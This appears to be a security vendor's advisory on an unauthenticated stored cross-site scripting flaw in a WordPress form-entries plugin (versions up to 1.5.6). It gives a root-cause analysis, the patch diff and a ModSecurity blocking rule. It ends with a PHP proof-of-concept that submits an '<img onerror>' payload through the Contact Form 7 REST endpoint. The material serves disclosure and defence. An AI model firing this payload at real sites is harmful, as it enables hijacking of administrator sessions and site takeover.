Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-137141: This is an unauthenticated stored cross-site scripting (XSS) vulnerability in the WordPress plugin Database for Contact Form 7, WPforms, Elementor forms versions up to and including 1.5.6. The flaw resides in the plugin’s handling of form field values, specifically text fields (e.g., ‘your-name’) submitted via Contact Form 7. The vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript that executes in the context of an administrator’s browser when viewing the entry in the WordPress admin dashboard. The CVSS score is 7.2 (High).
Root Cause: The root cause is insufficient input sanitization and output escaping in two locations. First, in the main plugin file contact-form-entries/contact-form-entries.php, the function that saves lead data (around line 431) only sanitized textarea fields with sanitize_textarea_field(). Other text-based fields (text, url, password, tel, number, hidden, date, time) were passed to $this->post() without adequate sanitization, allowing raw HTML and JavaScript to be stored. Second, in templates/view.php (around line 629), the output of field values used wp_kses_post(), which allows some HTML but is insufficient to prevent XSS in this context, especially when combined with the plugin’s use of ThickBox’s delegated click handler. The reconstructed viewport-covering anchor element, which relies on ThickBox to inject the decoded title attribute as raw HTML, provides the execution vector. The patch changes sanitization to wp_kses($v, array()) (stripping all tags) for the affected field types and replaces wp_kses_post() with esc_html() for output, properly escaping all HTML entities.
Exploitation: An unauthenticated attacker submits a Contact Form 7 form containing a text field (e.g., your-name) with a malicious payload such as a JavaScript URI or HTML event handler (e.g.,
). The payload is stored in the database. When an administrator views the entry in the WordPress admin (e.g., via the plugin’s entry view page), the payload is rendered. Because the plugin uses ThickBox (if enqueued, as when Elementor or Image Optimization by Elementor is active), the reconstructed anchor’s title attribute is decoded and injected as raw HTML into the admin’s DOM, triggering execution. The attacker does not need authentication or any special privileges; they only need to submit a form on the public site.
Patch Analysis: The patch addresses the vulnerability in multiple ways. In contact-form-entries.php, the sanitization logic for text-based fields is expanded to include ‘text’, ‘url’, ‘password’, ‘tel’, ‘number’, ‘hidden’, ‘date’, ‘time’, and the sanitization is changed from sanitize_textarea_field() to wp_kses($v, array()), which strips all HTML tags (since the allowed tags array is empty). This prevents storage of malicious HTML. In templates/view.php, the output escaping is strengthened: the line echoing field values is changed from wp_kses_post() to esc_html(), ensuring all HTML is escaped and displayed as text, preventing execution. Additional minor fixes include casting form_id and post_id to integers, escaping a JavaScript URL with esc_js(), and fixing a path traversal in file handling, but these are secondary to the XSS fix.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s session. This can lead to session hijacking, theft of sensitive data (e.g., cookies, nonces), creation of rogue administrative accounts, modification of site content, or full site takeover. The vulnerability is unauthenticated and requires only that an administrator views the injected entry, which is likely in a typical workflow. Given the CVSS score of 7.2, this is a high-severity issue that poses significant risk to affected WordPress sites.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/contact-form-entries/contact-form-entries.php
+++ b/contact-form-entries/contact-form-entries.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: Contact Form Entries
* Description: Save form submissions to the database from <a href="https://wordpress.org/plugins/contact-form-7/">Contact Form 7</a>, <a href="https://wordpress.org/plugins/ninja-forms/">Ninja Forms</a>, <a href="https://elementor.com/widgets/form-widget/">Elementor Forms</a> and <a href="https://wordpress.org/plugins/wpforms-lite/">WP Forms</a>.
-* Version: 1.5.6
+* Version: 1.5.7
* Requires at least: 3.8
* Author URI: https://www.crmperks.com
* Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/crm-perks-forms/
@@ -25,7 +25,7 @@
public static $type = "vxcf_form";
public static $path = '';
- public static $version = '1.5.6';
+ public static $version = '1.5.7';
public static $upload_folder = 'crm_perks_uploads';
public static $db_version='';
public static $base_url='';
@@ -66,6 +66,7 @@
public function init(){
+
//save screen and url for all forms
add_action('wp_footer', array($this,'footer_js'),33);
wp_register_script( 'vx-tablesorter-js', self::$base_url. 'js/jquery.tablesorter.js',array('jquery') );
@@ -430,11 +431,12 @@
if(!empty($fields)){
foreach($lead as $k=>$v){
$type=isset($fields[$k]['type']) ? $fields[$k]['type'] :'';
- if( in_array($type,array('textarea'))){
- $lead[$k]=sanitize_textarea_field($v);
+ if( in_array($type,array('textarea','text','url','password','tel','number','hidden','date','time'))){
+ //$lead[$k]=sanitize_textarea_field($v);
+ $lead[$k]=wp_kses($v,array());
}else if(!in_array($type,array('file','mfile'))){
$lead[$k]=$this->post($k,$lead);
- }
+ }
}
}
$main=apply_filters('vxcf_entries_plugin_before_saving_lead_main',$main,$lead,$entry_id);
@@ -621,8 +623,8 @@
error_reporting(E_ALL);*/
// $data=$record->get_formatted_data();
- $form_id_p=$this->post('form_id');
- $post_id_p=$this->post('post_id');
+ $form_id_p=(int)$this->post('form_id');
+ $post_id_p=(int)$this->post('post_id');
// $d=$record->get_form_settings( 'form_fields' ); //form_name
$data = $record->get( 'fields' );
@@ -1382,7 +1384,11 @@
}
if(strpos($file,$base_url) === 0){
$file=str_replace($base_url,trim(ABSPATH,'/'),$file);
- }
+ }
+ $file=realpath($file);
+ if(strpos($file,$folder) === false){
+ continue;
+ }
$file_sep='/';
if(strpos($file,'\') !== false){
$file_sep='\';
--- a/contact-form-entries/templates/crm-entry-box.php
+++ b/contact-form-entries/templates/crm-entry-box.php
@@ -39,11 +39,11 @@
});
$('#vx_print_entry').on('click',function(e){
e.preventDefault();
- var url='<?php echo esc_url_raw($print_link) ?>';
+ var url='<?php echo esc_js( $print_link ); ?>';
if($('#vx_include_notes').is(':checked')){
url+='¬es=1';
}
- window.open(url,'printwindow');
+ window.open(url.replaceAll("&", "&"),'printwindow');
// window.open('http://localhost/wp19/','printwin');
})
})
--- a/contact-form-entries/templates/view.php
+++ b/contact-form-entries/templates/view.php
@@ -212,7 +212,7 @@
width: 30px; padding: 10px 0 4px 2px;
}
.vx_wrap .crm_note_img img{
- width: 100%; height: 100%;
+ width: 56px; height: 56px;
}
.vx_wrap .crm_note_img {
float: left;
@@ -629,7 +629,7 @@
<a href="<?php echo esc_url($value) ?>" target="_blank"><?php echo esc_html($value) ?></a>
<?php
}else{
- echo is_array($value) ? wp_kses_post(implode(', ',$value)) : wp_kses_post($value);
+ echo is_array($value) ? esc_html(implode(', ',$value)) : esc_html($value);
}
?>
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_METHOD "@streq POST" "id:20261371,phase:2,deny,status:403,log,chain,msg:'CVE-2026-137141 Unauthenticated Stored XSS via CF7 form field values'"
SecRule REQUEST_URI "@rx (?i)/(wp-json/contact-form-7/v1/contact-forms/[0-9]+/feedback|wp-admin/admin-ajax.php)" "t:none,chain"
SecRule ARGS_NAMES "@rx ^(your-message|your-subject|your-name|message|comment|wpforms[fields]|form_fields)" "t:none,chain"
SecRule ARGS "@detectXSS" "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:removeNulls"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137141 - Database for Contact Form 7, WPforms, Elementor forms <= 1.5.6 - Unauthenticated Stored Cross-Site Scripting via Form Field Values
// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$form_id = 1; // ID of the Contact Form 7 form to exploit
$field_name = 'your-name'; // Vulnerable text field name
// Malicious payload: JavaScript executed when admin views entry
$payload = '<img src=x onerror=alert(document.cookie)>';
// Step 1: Submit the form with the payload
$post_data = array(
'_wpcf7' => $form_id,
'_wpcf7_version' => '5.0',
'_wpcf7_locale' => 'en_US',
'_wpcf7_unit_tag' => 'wpcf7-f' . $form_id . '-p1-o1',
$field_name => $payload,
'_wpcf7_is_ajax_call' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/contact-form-7/v1/contact-forms/' . $form_id . '/feedback');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Verify submission (optional)
if (strpos($response, 'mail_sent') !== false) {
echo "Form submitted successfully with payload.n";
} else {
echo "Submission may have failed. Response: $responsen";
}
// The payload is now stored. When an administrator views the entry in the plugin's admin interface,
// the JavaScript will execute, potentially stealing cookies or performing other malicious actions.
// Note: ThickBox must be enqueued (e.g., via Elementor) for the specific payload to execute.
?>